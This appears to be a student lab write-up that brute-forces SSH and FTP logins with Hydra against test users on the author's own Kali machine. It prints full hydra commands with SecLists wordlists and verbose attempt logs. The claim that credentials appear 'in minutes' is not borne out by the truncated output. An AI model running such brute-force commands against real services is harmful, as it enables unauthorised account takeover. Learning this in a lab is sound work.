Authentication Cracking with Hydra.

Tasks: 1) Enable and set up the SSH service and crack its authentication process. 2) Enable and set up a service of choice and crack its authentication process.

Let's start with task number 1.

We're going to create a new user in Kali.

```
$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
```

From here, we're going to activate the **SSH Service**.

```
__(kali⊛kali)-[~]
$ <u>sudo</u> service ssh start
```

If we wanted to change the parameters and configuration of the service, we would go into the **/etc/ssh directory** where we would find the **sshd_config** file.

If we open that file, we can change the values of the daemon such as port, authentication permissions, authentication retries and so on and on. For the purpose of this task, we won't change anything.

Now we're going to see if the ssh service connection with the new user is up and running correctly on our machine.

With the line **ssh test_username@ip**, we're asked to enter the password of the user. After we do that, we can see that **test user is now accessing the terminal**.

So now we know that the service runs. Now we're going to use Hydra to crack the authentication process.

We'll 'use this command:

hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.100 -t 4 ssh

The switch -V means verbose so we'll see step by step every approach the Hydra program will take to crack username and password. The switch -L lets us use a txt file for the username while -P lets use a txt file for the passwords. Here we'll use the **xato 10 million username list** and the **xato 10 million password list** we got from Seclist. Then we'll put the target IP and then the -t 4 switch to help us limit the parallel tasks that the program runs. In the end we put the service name then we hit enter and start the cracking.

We'll see that the program will find the matching username and password in a matter of minutes.

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "hunter" - 42 of 43048887321024 [child 1] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "bster" - 44 of 43048887321024 [child 2] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "bster" - 44 of 43048887321024 [child 2] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "batman" - 47 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "batman" - 47 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "batman" - 47 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "batman" - 47 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sunshine" - 50 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sunshine" - 50 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fluckme" - 52 of 43048887321024 [child 0] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fluckme" - 52 of 43048887321024 [child 0] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fluckme" - 52 of 43048887321024 [child 0] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "robert" - 55 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "robert" - 55 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "daniel" - 59 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "daniel" - 59 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "daniel" - 59 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "daniel" - 59 of 43048887321024 [child 3] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "daniel" - 59 of 43048887321024 [child 3] (0/0) [ATTEMPT
```

Now we'll proceed with the second task.

We'll set up another service and we'll crack its authentication process.

Now that we have confirmed that the service is up and running, we'll add a new user to it.

```
(kali® kali)-[~/Desktop]
$ sudo adduser pen_tester
[sudo] password for kali:
info: Adding user `pen_tester' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `pen_tester' (1004) ...
info: Adding new user `pen_tester' (1004) with group `pen_tester (1004)' ...
info: Creating home directory `/home/pen_tester' ...
info: Copying files from `/etc/skel' ...
New password:
```

New user is up and we linked it with ftp. Now we're going to use hydra to find the user and the password using the same command with the same lists we used earlier. But this time we'll use the switch -t 16, because the ftp protocol doesn't limit the parallel task the program can run.

```
(kali© kali)-[~]
$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.100 -t 16 ftp

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for ille gal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-16 16:27:34

[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent o verwriting, ./hydra.restore

[DATA] max 16 tasks per 1 server, overall 16 tasks, 43048900805935 login tries (l:8295457/p:5189455), ~2690556300371 tries per task
```

And we'll have the user and the password in just a few minutes.

```
[ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "jennifer" - 40 of 43048900805935 [child 12] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "zxcvbnm" - 41 of 43048900805935 [child 15] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "asdfgh" - 42 of 43048900805935 [child 7] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "hunter" - 43 of 43048900805935 [child 10] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "" - 44 of 43048900805935 [child 8] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "buster" - 45 of 43048900805935 [child 9] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "buster" - 45 of 43048900805935 [child 11] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "barley" - 47 of 43048900805935 [child 11] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "barley" - 47 of 43048900805935 [child 13] (0/0) [ATTEMPT] target 192.168.50.100 - login "pen_tester" - pass "barley" - 48 of 43048900805935 [child 14] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234566" - 5189457 of 43048900805935 [child 1] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 5189457 of 43048900805935 [child 4] (0/0) [ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 5189458 of 43048900805935 [child 5] (0/0)
```